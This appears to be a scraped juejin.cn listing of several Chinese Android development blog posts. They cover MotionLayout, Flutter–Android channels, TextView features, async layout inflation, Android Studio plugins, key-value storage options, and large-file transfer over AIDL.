           motion:layout_constraintEnd_toEndOf="parent"
           motion:layout_constraintHorizontal_bias="1"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button3" />

       <Constraint
           android:id="@+id/button5"
           android:layout_width="64dp"
           android:layout_height="64dp"
           android:layout_marginStart="8dp"
           android:scaleX="2"
           motion:layout_constraintHorizontal_bias="1"
           android:scaleY="2"
           motion:layout_constraintBottom_toBottomOf="parent"
           motion:layout_constraintEnd_toEndOf="parent"
           motion:layout_constraintStart_toStartOf="parent"
           motion:layout_constraintTop_toBottomOf="@id/button4" />
   </ConstraintSet>

</MotionScene>

其余部分就不一一展示了,因为你们肯定都知道啦。效果如下


2023-04-12_11-49-35 (1)


10、下个篇章


因为篇幅原因,我们先到这,这篇文章,只是了解一下,下一篇我们将会深入了解各种没有详细讲解的情况。


如果您有任何疑问、对文章写的不满意、发现错误或者有更好的方法,欢迎在评论、私信或邮件中提出,非常感谢您的支持。🙏


11、感谢



  1. 校稿:ChatGpt

  2. 文笔优化:ChatGpt

作者:AlbertZein
链接:https://juejin.cn/post/7220690079700877349
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Flutter和Android原生通信的三种方式

简介 Flutter虽然有强大的跨平台能力,但是其跨平台主要体现在UI界框架上,对于一些Android原生的功能如:获取电池电量,访问手机蓝牙,定位等硬件信息显得有些不足心。还是需要调用Android原生方法获取。所以使用Flutter和Android原生通信...
继续阅读 »

简介


Flutter虽然有强大的跨平台能力,但是其跨平台主要体现在UI界框架上,对于一些Android原生的功能如:获取电池电量,访问手机蓝牙,定位等硬件信息显得有些不足心。还是需要调用Android原生方法获取。所以使用Flutter和Android原生通信的方式是必不可少的。 本文正在参加「金石计划」


本文主要介绍Flutter与Android原生三种通信方式的用法。


1.BasicMessageChannel


定义


双向通信,,有返回值,主要用于传递字符串和半结构化的信息。


基本使用


1)Flutter端



  1. 创建BasicMessageChannel对象并定义channel的name,必须和Android一端保持一致。


 late BasicMessageChannel<String> _messageChannel;
_messageChannel = const BasicMessageChannel<String>("baseMessageChannel",
StringCodec());


  1. 设置setMessageHandler监听Android原生发送的消息。


_messageChannel.setMessageHandler((message) async {
print("flutter :Message form Android reply:$message");
return "flutter already received reply ";
});


  1. 发送消息给Android原生。


 _messageChannel.send("Hello Android,I come form Flutter");

2)Android端



  1. 初始化BasicMessageChannel,定义Channel名称。


val messageChannel = BasicMessageChannel<String>(
flutterEngine.dartExecutor.binaryMessenger,
"baseMessageChannel",StringCodec.INSTANCE)


  1. 设置setMessageHandler监听来自Flutter的消息。


 messageChannel.setMessageHandler { message, reply ->
Log.i("flutter", "android receive message form flutter :$message")

}


  1. 主动发送消息给Flutter。


  messageChannel.send("flutter")

打印结果如下:



从用法上来看,Flutter和Android原生基本上是一样的,只不过是不同语言的不同写法。Flutter端主动调用send方法将消息传递给Android原生。然后打印log日志。


2.EventChannel


定义


基本使用


单向通信,是一种Android native向Flutter发送数据的单向通信方式,Flutter无法返回任何数据给Android native。主要用于Android native向Flutter发送手机电量变化、网络连接变化、陀螺仪、传感器等信息,主要用于数据流的通信


1)Flutter端



  1. 创建EventChannel对象,并给定channel名称。


late EventChannel _eventChannel;
_eventChannel = const EventChannel("eventChannel");


  1. 使用receiveBroadcastStream接收Android端的消息。


 _eventChannel.receiveBroadcastStream().listen( (event){
print("Flutter:Flutter receive from Android:$event");
},onDone: (){
print("完成");
},onError: (error){
print("失败:$error");
});

2)Android端



  1. 创建EventChannel对象,并定义channel的name。


 val eventChannel  = EventChannel(flutterEngine.dartExecutor.binaryMessenger,"eventChannel")


  1. 设置setStreamHandler监听。


  eventChannel.setStreamHandler(object :StreamHandler{
override fun onListen(arguments: Any?, events: EventChannel.EventSink?) {
eventSink = events
}

override fun onCancel(arguments: Any?) {
}

})


  1. 发送消息给Flutter端。


 Handler(mainLooper).postDelayed({
Log.i("flutter", "android send message")
eventSink?.success("Hello Flutter")
},500)

打印结果如下:



EventChannel是单向通信,并且只能从Android原生端发送消息给Flutter,Flutter不可以主动发消息,使用有局限性。


3.MethodChannel


定义


双向异步通信,Flutter和原生端都可以主动发起,同时可以互相传递数据,用于传递方法调用。


基本使用


1)Flutter



  1. 创建MethodChannel对象,并定义通道名称。


 late MethodChannel _methodChannel;
_methodChannel = const MethodChannel('methodChannel');


  1. 设置setMethodCallHandler异步监听消息。


 _methodChannel.setMethodCallHandler((call) async {

});


  1. 调用invokeMethod方法发送消息给Android,并接收返回值。


  var map = {'name':'小明','age':18};
String result = await _methodChannel.invokeMethod('openMethodChannel',map);
print("Flutter接收Android返回的结果:$result");

2)Android端



  1. 创建MethodChannel对象,并定义通道名称。


 val methodChannel = MethodChannel(flutterEngine.dartExecutor.binaryMessenger,"methodChannel")


  1. 设置setMethodCallHandler监听Flutter消息,并通过MethodCall.method区分方法名。


methodChannel.setMethodCallHandler { call, result ->
if (call.method == "openMethodChannel"){
val name = call.argument<String>("name")
val age = call.argument<Int>("age")
Log.i("flutter", "android receive form:$name ,$age ")
result.success("success")
}

}


  1. 发送消息给Flutter。


  messageChannel.send("Hello Flutter")

打印结果如下:



MethodChannel是Flutter和Android原生常用的通信方式,不仅可以异步通信,还能传递数据集合,Map等。通过定义不同的方法名,调用Android不同的功能。


总结


本文主要介绍Flutter与Android原生的三种通信方式,可以根据实际开发中的业务,选择合适的通信方式。熟练掌握三种通信方式可以在Flutter开发中使用Android原生提供的功能。


作者:Android研究员
链接:https://juejin.cn/post/7220295071060164663
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android TextView中那些冷门好用的用法

介绍 TextView 是 Android 开发中最常用的小部件之一。它用于在屏幕上显示文本。但是,TextView 有几个较少为人知的功能,对开发人员非常有用。在本博客文章中,我们将探讨其中的一些功能。 自定义字体 默认情况下,TextView 使用系统字体...
继续阅读 »

介绍


TextView 是 Android 开发中最常用的小部件之一。它用于在屏幕上显示文本。但是,TextView 有几个较少为人知的功能,对开发人员非常有用。在本博客文章中,我们将探讨其中的一些功能。


自定义字体


默认情况下,TextView 使用系统字体显示文本。但其实我们也可以导入我们自己的字体文件在 TextView 中使用自定义字体。这可以通过将字体文件添加到资源文件夹(res/font 或者 assets)并在 TextView 上以编程方式设置来实现。


要使用自定义字体,我们需要下载字体文件(或者自己生成)并将其添加到资源文件夹中。然后,我们可以使用setTypeface()方法在TextView上以编程方式设置字体。我们还可以在XML中使用android:fontFamily属性设置字体。需要注意的是,fontFamily方式只能使用系统预设的字体并且仅对英文字符有效,如果TextView的文本内容是中文的话这个属性设置后将不会有任何效果。


以下是 Android TextView 自定义字体的代码示例:



  1. 将字体文件添加到 assets 或 res/font 文件夹中。

  2. 通过以下代码设置字体:


// 字体文件放到 assets 文件夹的情况
Typeface tf = Typeface.createFromAsset(getAssets(), "fonts/myfont.ttf");
TextView tv = findViewById(R.id.tv);
tv.setTypeface(tf);

// 字体文件放到 res/font 文件夹的情况, 需注意的是此方式在部分低于 Android 8.0 的设备上可能会存在兼容性问题
val tv = findViewById<TextView>(R.id.tv)
val typeface = ResourcesCompat.getFont(this, R.font.myfont)
tv.typeface = typeface

在上面的示例中,我们首先从 assets 文件夹中创建了一个新的 Typeface 对象。然后,我们使用 setTypeface() 方法将该对象设置为 TextView 的字体。


在上面的示例中,我们将字体文件命名为 “myfont.ttf”。我们可以将其替换为要使用的任何字体文件的名称。


自定义字体是 TextView 的强大功能之一,它可以帮助我们创建具有独特外观和感觉的应用程序。另外,我们也可以通过这种方法实现自定义图标的绘制。


AutoLink


AutoLink 可以自动检测文本中的模式并将其转换为可点击的链接。例如,如果 TextView 包含电子邮件地址或 URL,则 AutoLink 将识别它并使其可点击。此功能使开发人员无需手动创建文本中的可点击链接。


要在 TextView 上启用 AutoLink,您需要将autoLink属性设置为emailphoneweball。您还可以使用Linkify类设置自定义链接模式。


以下是一个Android TextView AutoLink代码使用示例:


<TextView
android:id="@+id/tv3"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:autoLink="web"
android:textColorLink="@android:color/holo_red_dark"
android:text="这是我的个人博客地址: http://www.geektang.cn" />

在上面的示例中,我们将 autoLink 属性设置为 web ,这意味着 TextView 将自动检测文本中的 URL 并将其转换为可点击的链接。我们还将 text 属性将文本设置为 这是我的个人博客地址: http://www.geektang.cn 。当用户单击链接时,它们将被带到 http://www.geektang.cn 网站。另外,我们也可以通过 textColorLink 属性将 Link 颜色为我们喜欢的颜色。


AutoLink是一个非常有用的功能,它可以帮助您更轻松地创建可交互的文本。


对齐模式


对齐模式允许您通过在单词之间添加空格将文本对齐到左右边距,这使得文本更易读且视觉上更具吸引力。您可以将对齐模式属性设置为 inter_wordinter_character


要使用对齐模式功能,您需要在 TextView 上设置 justificationMode 属性。但是,此功能仅适用于运行 Android 8.0(API 级别 26)或更高版本的设备。


以下是对齐模式功能的代码示例:


<TextView
android:id="@+id/text_view"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="This is some sample text that will be justified."
android:justificationMode="inter_word"/>

在上面的示例中,我们将 justificationMode 属性设置为 inter_word 。这意味着 TextView 将在单词之间添加空格,以便将文本对齐到左右边距。


以下是对齐模式功能的显示效果示例:


image.png
同样一段文本,上面的设置 justificationMode 为 inter_word ,是不是看起来会比下面的好看一些呢?这个属性一般用于多行英文文本,如果只有一行文本或者文本内容是纯中文字符的话,不会有任何效果。


作者:GeekTR
链接:https://juejin.cn/post/7217082232937283645
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

速度与安全可兼得!改造异步布局大幅提升客户端布局性能

1. 背景介绍 随着小红书用户规模的不断增长,App 性能对用户体验的影响显得越来越重要,例如页面的打开速度、App 的启动速度等,几十毫秒的提升都能带来业务数据上比较显著的收益。今天要介绍的是对一个官方框架的实践以及优化,期间踩了不少坑,...
继续阅读 »

1. 背景介绍


随着小红书用户规模的不断增长,App 性能对用户体验的影响显得越来越重要,例如页面的打开速度、App 的启动速度等,几十毫秒的提升都能带来业务数据上比较显著的收益。今天要介绍的是对一个官方框架的实践以及优化,期间踩了不少坑,但收益也很可观。


AsyncLayoutInflater 最早于 2015 年出现在 support.v4 包中,用来异步 inflate 布局。通常来讲 inflate 需要在主线程执行,所以是一个页面初始化过程中的耗时主要部分,这个工具提供了可以在异步 inflate 的能力,进而减少主线程堵塞。本文主要介绍工具的使用以及如何改进,以及改进中遇到的一些问题。


2. 使用


AsyncLayoutInflater 的使用非常简单,只需要加入一个依赖即可。



同时在代码中的使用如下:



在异步 inflate 好之后会有回调,这时候就可以使用 view 了。


3. 源码分析


这个工具最厉害的地方就在于异步 inflate view 居然没有出现线程安全相关的一些问题,下面我们就来看看它是怎么处理线程安全的问题的。



首先,里面有一个 Thread 的单例,单例里有一个线程安全的阻塞队列和一个线程安全的对象池。



这个单例里有个方法是 enqueue 方法,会调用阻塞队列的 put,将 request 插入队列中。因为是一个线程安全的队列+线程安全的对象池,所以这一系列操作就保证了线程安全。


下面是inflate的流程,inflate的时候会通过 mInflateThread.obtainRequest 从对象池里拿到一个 request,然后再将这个 request 插入队列中。



下面是一个简化过的代码,run 中有一个死循环,通过阻塞队列的 take 元素进行 inflate 的操作。



以上这个简单的工具就分析完了。这部分基本就回答了线程间如何同步数据的一个问题,在一个典型的生产者消费者模型中加入线程安全的容器即可保证。


4. 问题与改进


在使用中还是遇到很多线程相关的问题,以下列举几点相对重要的问题进行阐述。


4.1 单线程与多线程


InflateThread 在这里的设计是一个单例单线程,当需要对线程有一些定制或者收拢的话,改动就有些麻烦了,这里可以通过开放一个设置线程池的方法来提供一些线程管理和定制的能力,默认可以内置一个单线程的线程池。


通过比较长时间的实验我们发现,在主线程比较空闲的时候,单线程的效果会好一些,因为都在大核上执行了,效率更高。主线程繁忙的时候,例如冷启阶段,多线程会有更好的效率。


4.2 ArrayMap 与线程安全


我们在实际使用中发现,在一些自定义 View 的构造函数中和 darkmode 的实现中使用了 SimpleArrayMap 或 ArrayMap,ArrayMap 是 SimpleArrayMap 的子类,本身 SimpleArrayMap 是用过两个 static 的数组来实现对象的缓存,从而起到复用的作用,在多线程的情况下会有线程安全问题,这里会出现复用对象不匹配导致的 crash。一个简单的方式就是当出现 crash 的时候讲对应的 cache 数组清空,即可避免。



4.3 inflate、锁与线程安全


LayoutInflater 的 inflate 方法中有一个锁,这个导致了如果你想多线程去调用 inflate 的时候,起不到多线程的效果,如果是单线程的情况下,还可能遇到和主线程在 inflate 时同样等待锁的问题。这里 mConstructorArgs 是一个成员变量,通过重写 LayoutInflater 中的 cloneInContext 方法,配合对象池就可以避开这里锁的问题。



同时 inflate 过程中用到的这些数组和容器类型,都不是线程安全的,如果想要去掉 inflate 方法开头的 synchronize 的限制,这些线程不安全的容器类也是需要特别注意的。



4.4 BasicInflater 改造


AsyncLayoutInflater 本身有一个 BasicInflater,根据以上的一些改进点,我们在实践中对其做了一些改造,扩展出了可以设置线程池的接口,使用了基础架构提供的线程池,做到了对线程的统一管理。实践下来,在CPU比较繁忙的时候,多线程的线程池效果要好于单线程,当 CPU 比较空闲的时候,单线程的效果会更好一些,因为可以更好的利用释放出来的CPU 大核的性能。



同时重写了 ArrayMap 中线程不安全的一些处理方式,使得在多线程使用 ArrayMap 或者使用依赖 ArrayMap 的功能时不会出现 crash,这里涉及到了我们的一些自定义 View 和我们的 darkmode 的实现。


在对于 inflate 的锁和一些线程不安全的容器处理上,重写了LayoutInflater 的 cloneInContext 方法去掉了 synchronized 的限制,同时在 onCreateView 的流程中加入了线程安全的容器来保障 inflate 过程的线程安全。



综合来说就是重写了 AsyncLayoutInflater,ArrayMap 和 LayoutInflater,以达到线程安全的目的,同时将这些融入到我们的业务框架中,使得使用成本更低。


4.5  ViewCache


另一个实践是在业务侧做了进一步的封装,通过一个 ViewCache  的单例,提前将一些模块化的 View 提前 inflate 好,存在 ViewCache 中,在后续需要使用的时候从 ViewCache 中在获取,这样就避免了用的时候再 inflate 导致的耗时问题了。这块整体的代码比较简单,就不单独展开讲了,需要注意的点是有些 View 没有被使用需要及时释放,避免内存泄漏。


5. 总结


AsyncLayoutInflater 的实践与优化,前后持续了半年左右,我们在 App 冷启动和笔记详情页的性能优化中获得了超过的 20% 的性能收益以及显著的业务收益。同时,我们也将这个能力沉淀了到了业务框架中,方便了后续的接入和使用成本,通过 ViewCache 和业务框架,基本做到了可以覆盖大部分业务需求的能力。未来,我们将会在框架的易用性以及一些场景的使用上做进一步的优化,结合其他的优化手段给业务方提供更多的选择,使其能在写业务的同时无需关注这部分的耗时与复杂度,从而提升开发效率。


六、作者信息


殇不患


小红书商业技术 Android 工程师,曾负责业务架构设计与性能优化,目前专注于交易链路的迭代与优化。


作者:小红书技术团队
链接:https://juejin.cn/post/7220230543006236731
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

AndroidStudio 常用插件来提高开发效率的必备

Statistic 代码统计工具 款代码统计工具,可以用来统计当前项目中代码的行数和大小。 通过顶部菜单中的View->Tool Windows->Statistic按钮开启该功能。 此时就可以看到我们项目代码的统计情况了 Translati...
继续阅读 »

Statistic 代码统计工具


款代码统计工具,可以用来统计当前项目中代码的行数和大小。


image.png


通过顶部菜单中的View->Tool Windows->Statistic按钮开启该功能。


image.png
此时就可以看到我们项目代码的统计情况了


image.png


Translation 一款翻译插件


image.png


直接选中需要翻译的内容,点击右键即可找到翻译按钮;


image.png


Markdown


IDEA官方出品的一款Markdown插件,支持编辑Markdown文件并进行预览


image.png


Key Promoter X 快捷键提示


Key Promoter X 是一款帮助你快速学习快捷键的插件,当你在AndroidStudio中用鼠标点击某些功能时,它会自动提示你使用该功能的快捷键


image.png
如下图鼠标点击某些功能时,会有对应的快捷键提示


androidstudio快捷键提醒.gif


Restful Fast Request


是IDEA版本的Postman,它是一个功能强大的Restful API工具包插件,在AndroidStudio中也可以根据已有的方法快速生成接口调试用例


image.png
然后使用方法如下:


howToUse_en.gif


PlantUML Integration


PlantUML是一款开源的UML图绘制工具,支持通过文本来生成图形,安装如下:


image.png
时序图(Sequence Diagram),是一种UML交互图。它通过描述对象之间发送消息的时间顺序显示多个对象之间的动态协作。


image.png
如这里生成的是一个简单的时序图


image.png


当然还有更多详细的用法,大家可以查看官网https://plantuml.com/zh/


image.png


Sequence Diagram 根据代码生时时序图


根据代码生成时序图的插件,还支持在时序图上直接导航到对应代码以及导出为图片或PlantUML文件。


image.png


String Manipulation 用来处理字符串


业处理字符串的插件,支持各种格式代码命名方式的切换、支持各种语言的转义和反转义、支持字符加密、支持多个字符的排序、对齐、过滤等等。


image.png


然后在使用的时候只需要选中字符串,点击右键


image.png


Rainbow Brackets 彩虹括号


image.png
安装好后,重新启动 AndroiStudio 打开项目


image.png


Android Wifi 连接手机进行调试




使用Android Studio Dolphin | 2021.3.1 Patch 1 及以上版本选择点击 Pair Devices Using Wi-Fi 弹出扫码框。提示使用android11+ 的设备扫码连接。
这时需要手机和电脑连同一个无线网。然后在手机开发者选项里面找到 无线调试,一般在USB调试开关下面。点击 无线调试 开启 无线调试 功能。点击无线调试页面的 使用二维码配对设备 扫描AS的二维码链接调试。等待一会链接好后就可以看到设备信息了。


image.png


CodeGlance Pro


代码视图页面生成浏览目录


image.png
安装成功后重启AndroidStudio


image.png


SonarLint 代码 review 插件


Sonar是一个用于代码质量管理的开源平台,用于管理源代码的质量 通过插件形式,可以支持包括java,C#,C/C++,PL/SQL,Cobol,JavaScrip,Groovy等等二十几种编程语言的代码质量管理与检测


image.png


安装成功后重启 AndroidStudio ,打开安卓项目如下:


image.png


目前支持的代码语言如下 官网在这里


image.png


作者:早起的年轻人
链接:https://juejin.cn/post/7218001191702134841
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android Key Value存储技术选型

一、 SP 问题: 卡顿anr 问题1: 写入大数据\当前资源较紧张情况进行写入, 切换页面(执行onstop), 会出现卡顿 1.1. SharedPreferencesImpl.apply, 异步操作 @Override public void appl...
继续阅读 »

一、 SP 问题: 卡顿anr


问题1: 写入大数据\当前资源较紧张情况进行写入, 切换页面(执行onstop), 会出现卡顿


1.1. SharedPreferencesImpl.apply, 异步操作

@Override
public void apply() {
...
final Runnable awaitCommit = new Runnable() {
@Override
public void run() {
try {
mcr.writtenToDiskLatch.await();
} catch (InterruptedException ignored) {
}
};

QueuedWork.addFinisher(awaitCommit);

Runnable postWriteRunnable = new Runnable() {
@Override
public void run() {
awaitCommit.run();
QueuedWork.removeFinisher(awaitCommit);
}
};

SharedPreferencesImpl.this.enqueueDiskWrite(mcr, postWriteRunnable);
...
}


private void enqueueDiskWrite(final MemoryCommitResult mcr,
final Runnable postWriteRunnable) {
final boolean isFromSyncCommit = (postWriteRunnable == null);

final Runnable writeToDiskRunnable = new Runnable() {
@Override
public void run() {
synchronized (mWritingToDiskLock) {
writeToFile(mcr, isFromSyncCommit);
writtenToDiskLatch.countDown();//写完文件执行countDown
}
..
if (postWriteRunnable != null) {
postWriteRunnable.run();
}
}
};

1.2 ActivityThread.handleStopActivity(), onStop 生命周期

@Override
public void handleStopActivity(ActivityClientRecord r, int configChanges,
PendingTransactionActions pendingActions, boolean finalStateRequest, String reason) {
...

//重点关注
// Make sure any pending writes are now committed.
if (!r.isPreHoneycomb()) {
QueuedWork.waitToFinish();
}
...
}

重点关注


if (!r.isPreHoneycomb()) { QueuedWork.waitToFinish(); }


public static void waitToFinish() {
try {
while (true) {
Runnable finisher;
synchronized (sLock) {
finisher = sFinishers.poll();
}
if (finisher == null) {
break;
}

finisher.run();
}
} finally {
sCanDelay = true;
}
}

while循环中finisher会阻塞当前线程,等待完成写入文件任务


问题2: sp本地文件巨大,初始化阶段(还未初始化完成), 去读sp数据, 会出现卡顿


2.1 初始化

SharedPreferencesImpl(File file, int mode) {
...
mLoaded = false;
...
startLoadFromDisk();
}
private void startLoadFromDisk() {
synchronized (mLock) {
mLoaded = false;
}
new Thread("SharedPreferencesImpl-load") {
public void run() {
loadFromDisk();
}
}.start();
}

2.2 从磁盘读取数据到内存

private void loadFromDisk() {
synchronized (mLock) {
if (mLoaded) {
return;
}
if (mBackupFile.exists()) {
mFile.delete();
mBackupFile.renameTo(mFile);
}
}
...

Map<String, Object> map = null;
...
try {
stat = Os.stat(mFile.getPath());
if (mFile.canRead()) {
BufferedInputStream str = null;
try {
str = new BufferedInputStream(
new FileInputStream(mFile), 16 * 1024);
map = (Map<String, Object>) XmlUtils.readMapXml(str);
} catch (Exception e) {
Log.w(TAG, "Cannot read " + mFile.getAbsolutePath(), e);
} finally {
IoUtils.closeQuietly(str);
}
}
...
synchronized (mLock) {
mLoaded = true;
...
}
finally{
//notify 线程
mLock.notifyAll();
}
}

2.3 获取数据

public String getString(String key, @Nullable String defValue) {
synchronized (mLock) {
awaitLoadedLocked();
String v = (String)mMap.get(key);
return v != null ? v : defValue;
}
}

private void awaitLoadedLocked() {
...
while (!mLoaded) {
try {
//阻塞线程
mLock.wait();
} catch (InterruptedException unused) {
}
}
...
}

关键字: mLoaded、 mLock.wait() 、 mLock.notifyAll()


二、 mmkv 问题: 数据损坏


2.1 原理 mmap 内存映射文件


MMKV原理


2.2 问题


image.png




  • 应用程序异常退出或崩溃: 当应用程序在写入或更新数据过程中突然退出或崩溃时,可能导致MMKV数据损坏。例如,应用程序在写入数据时遇到内存不足或其他异常情况,可能会导致数据写入不完整。




  • 系统意外重启或关机: 如果设备在MMKV写入或更新数据过程中突然重启或关机,可能导致MMKV数据损坏。这种情况下,操作系统可能没有足够的时间将内存映射文件的内容写入磁盘。




三、DataStore


开发者指南


关键字: SingleProcessDataStore.updateData、downloadFlow:通过flow实现内存缓存


写文件

数据源->actor协程管理改为顺序执行->通过serializer写入文件中去 -> 同步内存缓存值


protoBuffer写文件,->存入内存缓存 保证了数据一致性


优点


  • 基于Flow,保证线程安全性

  • 可以监听到成功和失败

  • 自动完成 SharedPreferences 迁移到 DataStore,保证数据一致性,不会造成数据损坏


您可以使用 runBlocking() 从 DataStore 同步读取数据


http://www.jianshu.com/p/90b152565…


使用


  1. 创建preferenceDataStore


val Context.dataStore: DataStore<Preferences> by preferencesDataStore(name = "settings")


  1. 读取内容


val EXAMPLE_COUNTER = intPreferencesKey("example_counter")
val exampleCounterFlow: Flow<Int> = context.dataStore.data
  .map { preferences ->
    // No type safety.
    preferences[EXAMPLE_COUNTER] ?: 0
}


  1. 写入内容



Preferences DataStore 提供了一个 edit() 函数,用于以事务方式更新 DataStore 中的数据。该函数的 transform 参数接受代码块,您可以在其中根据需要更新值。转换块中的所有代码均被视为单个事务。



suspend fun incrementCounter() {
  context.dataStore.edit { settings ->
    val currentCounterValue = settings[EXAMPLE_COUNTER] ?: 0
    settings[EXAMPLE_COUNTER] = currentCounterValue + 1
  }
}


  1. 同步方式使用DataStore


val exampleData = runBlocking { context.dataStore.data.first() }

作者:zyl409214686
链接:https://juejin.cn/post/7219123036779724858
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android 使用AIDL传输超大型文件

最近在写车载Android的第5篇视频教程「AIDL的实践与封装」时,遇到一个有意思的问题,能不能通过AIDL传输超过 1M 以上的文件? 我们先不细究,为什么要用AIDL传递大文件,单纯从技术的角度考虑能不能实现。众所周知,AIDL是一种基于Binder实现...
继续阅读 »

最近在写车载Android的第5篇视频教程「AIDL的实践与封装」时,遇到一个有意思的问题,能不能通过AIDL传输超过 1M 以上的文件?


我们先不细究,为什么要用AIDL传递大文件,单纯从技术的角度考虑能不能实现。众所周知,AIDL是一种基于Binder实现的跨进程调用方案,Binder 对传输数据大小有限制,传输超过 1M 的文件就会报 android.os.TransactionTooLargeException 异常。


如果文件相对比较小,还可以将文件分片,大不了多调用几次AIDL接口,但是当遇到大型文件或超大型文件时,这种方法就显得耗时又费力。好在,Android 系统提供了现成的解决方案,其中一种解决办法是,使用AIDL传递文件描述符ParcelFileDescriptor,来实现超大型文件的跨进程传输。


ParcelFileDescriptor


ParcelFileDescriptor 是一个实现了 Parcelable 接口的类,它封装了一个文件描述符 (FileDescriptor),可以通过 Binder 将它传递给其他进程,从而实现跨进程访问文件或网络套接字。ParcelFileDescriptor 也可以用来创建管道 (pipe),用于进程间的数据流传输。


ParcelFileDescriptor 的具体用法有以下几种:




  • 通过 ParcelFileDescriptor.createPipe() 方法创建一对 ParcelFileDescriptor 对象,分别用于读写管道中的数据,实现进程间的数据流传输。




  • 通过 ParcelFileDescriptor.fromSocket() 方法将一个网络套接字 (Socket)转换为一个 ParcelFileDescriptor 对象,然后通过 Binder 将它传递给其他进程,实现跨进程访问网络套接字。




  • 通过 ParcelFileDescriptor.open() 方法打开一个文件,并返回一个 ParcelFileDescriptor 对象,然后通过 Binder 将它传递给其他进程,实现跨进程访问文件。




  • 通过 ParcelFileDescriptor.close() 方法关闭一个 ParcelFileDescriptor 对象,释放其占用的资源。




ParcelFileDescriptor.createPipe()和ParcelFileDescriptor.open() 都可以实现,跨进程文件传输,接下来我们会分别演示。


实践



  • 第一步,定义AIDL接口


interface IOptions {
void transactFileDescriptor(in ParcelFileDescriptor pfd);
}


  • 第二步,在「传输方」使用ParcelFileDescriptor.open实现文件发送


private void transferData() {
try {
// file.iso 是要传输的文件,位于app的缓存目录下,约3.5GB
ParcelFileDescriptor fileDescriptor = ParcelFileDescriptor.open(new File(getCacheDir(), "file.iso"), ParcelFileDescriptor.MODE_READ_ONLY);
// 调用AIDL接口,将文件描述符的读端 传递给 接收方
options.transactFileDescriptor(fileDescriptor);
fileDescriptor.close();

} catch (Exception e) {
e.printStackTrace();
}
}


  • 或,在「传输方」使用ParcelFileDescriptor.createPipe实现文件发送


ParcelFileDescriptor.createPipe 方法会返回一个数组,数组中的第一个元素是管道的读端,第二个元素是管道的写端。


使用时,我们先将「读端-文件描述符」使用AIDL发给「接收端」,然后将文件流写入「写端」的管道即可。


    private void transferData() {
try {
/******** 下面的方法也可以实现文件传输,「接收端」不需要任何修改,原理是一样的 ********/
// createReliablePipe 创建一个管道,返回一个 ParcelFileDescriptor 数组,
// 数组中的第一个元素是管道的读端,
// 第二个元素是管道的写端
ParcelFileDescriptor[] pfds = ParcelFileDescriptor.createReliablePipe();
ParcelFileDescriptor pfdRead = pfds[0];
// 调用AIDL接口,将管道的读端传递给 接收端
options.transactFileDescriptor(pfdRead);
ParcelFileDescriptor pfdWrite = pfds[1];
// 将文件写入到管道中
byte[] buffer = new byte[1024];
int len;
try (
// file.iso 是要传输的文件,位于app的缓存目录下
FileInputStream inputStream = new FileInputStream(new File(getCacheDir(), "file.iso"));
ParcelFileDescriptor.AutoCloseOutputStream autoCloseOutputStream = new ParcelFileDescriptor.AutoCloseOutputStream(pfdWrite);
) {
while ((len = inputStream.read(buffer)) != -1) {
autoCloseOutputStream.write(buffer, 0, len);
}
}
} catch (Exception e) {
e.printStackTrace();
}
}


注意,管道写入的文件流 总量限制在64KB,所以「接收方」要及时将文件从管道中读出,否则「传输方」的写入操作会一直阻塞。




  • 第三步,在「接收方」读取文件流并保存到本地


private final IOptions.Stub options = new IOptions.Stub() {
@Override
public void transactFileDescriptor(ParcelFileDescriptor pfd) {
Log.i(TAG, "transactFileDescriptor: " + Thread.currentThread().getName());
Log.i(TAG, "transactFileDescriptor: calling pid:" + Binder.getCallingPid() + " calling uid:" + Binder.getCallingUid());
File file = new File(getCacheDir(), "file.iso");
try (
ParcelFileDescriptor.AutoCloseInputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(pfd);
) {
file.delete();
file.createNewFile();
FileOutputStream stream = new FileOutputStream(file);
byte[] buffer = new byte[1024];
int len;
// 将inputStream中的数据写入到file中
while ((len = inputStream.read(buffer)) != -1) {
stream.write(buffer, 0, len);
}
stream.close();
pfd.close();
} catch (IOException e) {
e.printStackTrace();
}
}
};


  • 运行程序


在程序运行之前,需要将一个大型文件放置到client app的缓存目录下,用于测试。目录地址:data/data/com.example.client/cache。



注意:如果使用模拟器测试,模拟器的硬盘要预留 3.5GB * 2 的闲置空间。



将程序运行起来,可以发现,3.5GB 的 file.iso 顺利传输到了Server端。



大文件是可以传输了,那么使用这种方式会很耗费内存吗?我们继续在文件传输时,查看一下内存占用的情况,如下所示:



  • 传输方-Client,内存使用情况




  • 接收方-Server,内存使用情况



从Android Studio Profiler给出的内存取样数据可以看出,无论是传输方还是接收方的内存占用都非常的克制、平缓。


总结


在编写本文之前,我在掘金上还看到了另一篇文章:一道面试题:使用AIDL实现跨进程传输一个2M大小的文件 - 掘金


该文章与本文类似,都是使用AIDL向接收端传输ParcelFileDescriptor,不过该文中使用共享内存MemoryFile构造出ParcelFileDescriptor,MemoryFile的创建需要使用反射,对于使用MemoryFile映射超大型文件是否会导致内存占用过大的问题,我个人没有尝试,欢迎有兴趣的朋友进行实践。


总得来说 ParcelFileDescriptor 和 MemoryFile 的区别有以下几点:



  • ParcelFileDescriptor 是一个封装了文件描述符的类,可以通过 Binder 传递给其他进程,实现跨进程访问文件或网络套接字。MemoryFile 是一个封装了匿名共享内存的类,可以通过反射获取其文件描述符,然后通过 Binder 传递给其他进程,实现跨进程访问共享内存。

  • ParcelFileDescriptor 可以用来打开任意的文件或网络套接字,而 MemoryFile 只能用来创建固定大小的共享内存。

  • ParcelFileDescriptor 可以通过 ParcelFileDescriptor.createPipe() 方法创建一对 ParcelFileDescriptor 对象,分别用于读写管道中的数据,实现进程间的数据流传输。MemoryFile 没有这样的方法,但可以通过 MemoryFile.getInputStream() 和 MemoryFile.getOutputStream() 方法获取输入输出流,实现进程内的数据流传输。


